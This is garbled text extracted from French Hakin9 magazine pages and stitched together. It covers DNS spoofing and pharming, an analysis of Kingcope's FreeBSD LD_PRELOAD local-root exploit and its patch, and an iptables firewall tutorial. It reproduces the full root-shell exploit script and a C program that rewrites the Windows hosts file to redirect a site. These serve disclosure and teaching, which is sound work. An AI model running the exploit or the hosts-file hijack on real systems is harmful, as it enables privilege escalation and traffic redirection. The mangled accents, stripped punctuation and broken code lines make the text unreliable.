Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 22: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

